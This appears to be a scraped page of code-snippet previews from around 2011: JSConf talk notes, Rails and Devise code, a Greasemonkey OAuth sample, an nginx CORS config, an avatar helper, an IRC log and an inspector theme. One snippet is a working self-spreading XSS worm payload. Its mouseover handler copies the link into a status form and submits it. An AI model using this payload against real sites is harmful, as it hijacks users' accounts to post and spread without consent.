- Bytes and Blobs by David Flanagan
- Conference Wifi Redux by Malte Ubi
- Sashimi - https://github.com/cramforce/Sashimi
- Run Your JS everywhere with Jellyfish by Adam Christian - http://jelly.io Project
- Fighting Crime and Kicking Apps with Batman.js by Nick Small
- Hello Jo by Dave Balmer - Project - http://joapp.com
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Users::SessionsController < Devise::SessionsController | |
# Have to reimplement :recall => "failure" | |
# for warden to redirect to some action that will return what I want | |
def create | |
resource = warden.authenticate!(:scope => resource_name, :recall => "failure") | |
# set_flash_message :notice, :signed_in | |
sign_in_and_redirect(resource_name, resource) | |
end | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name OAuth for Greasemonkey sample | |
// @namespace http://efcl.info/ | |
// @include http://* | |
// @require http://userscripts.org/scripts/source/78102.user.js | |
// ==/UserScript== | |
// http://userscripts.org/scripts/show/78102 | |
/*認証手順 | |
tw.getRequestToken | |
consumerKeyとconsumerSecretを使って、OAuth認証のページURLに必要なRequestTokenを取得。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<a href="http://a.no/@" onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;/</a> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
參考xdite's blog http://blog.xdite.net/?p=1839 | |
建立一個名為railsc的執行檔,以monkey patch的方式啟用wirble及hirb | |
將railsc存到你PATH下,並設定可執行(chmod 755) | |
執行railsc取代rails c,即可載入wirble及hirb,不用修改project directory下的東西 | |
P.S. | |
ActiveRecord::Base.logger = Logger.new(STDOUT) | |
這個我還是寫在.irbrc裡(事實上我是用show_log和hide_log開關) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ApplicationController < ActionController::Base | |
... | |
# FORCE to implement content_for in controller | |
def view_context | |
super.tap do |view| | |
(@_content_for || {}).each do |name,content| | |
view.content_for name, content | |
end | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Wide-open CORS config for nginx | |
# | |
location / { | |
if ($request_method = 'OPTIONS') { | |
add_header 'Access-Control-Allow-Origin' '*'; | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function get_avatar_from_service(service, userid, size) { | |
// this return the url that redirects to the according user image/avatar/profile picture | |
// implemented services: google profiles, facebook, gravatar, twitter, tumblr, default fallback | |
// for google use get_avatar_from_service('google', profile-name or user-id , size-in-px ) | |
// for facebook use get_avatar_from_service('facebook', vanity url or user-id , size-in-px or size-as-word ) | |
// for gravatar use get_avatar_from_service('gravatar', md5 hash email@adress, size-in-px ) | |
// for twitter use get_avatar_from_service('twitter', username, size-in-px or size-as-word ) | |
// for tumblr use get_avatar_from_service('tumblr', blog-url, size-in-px ) | |
// everything else will go to the fallback | |
// google and gravatar scale the avatar to any site, others will guided to the next best version |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- Log opened Mon Aug 01 00:00:23 2011 | |
--- Day changed Wed Aug 03 2011 | |
[20110803T091729+0800]< sanyuan> w | |
--- Log closed Thu Aug 04 07:52:01 2011 | |
--- Log opened Thu Aug 04 07:52:07 2011 | |
[20110804T075207+0800]-!- Irssi: #coscup: Total of 27 nicks [3 ops, 0 halfops, 0 voices, 24 normal] | |
[20110804T075320+0800]-!- Irssi: Join to #coscup was synced in 77 secs | |
--- Day changed Mon Aug 08 2011 | |
[20110808T130743+0800]-!- kyu is now known as kengyu | |
--- Day changed Tue Aug 09 2011 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/**********************************************/ | |
/* | |
/* Tomorrow Skin by Ben Truyman - 2011 | |
/* | |
/* Based on Chris Kempson's Tomorrow Theme: | |
/* https://github.com/ChrisKempson/Tomorrow-Theme | |
/* | |
/* Inspired by Darcy Clarke's blog post: | |
/* http://darcyclarke.me/design/skin-your-chrome-inspector/ | |
/* |
OlderNewer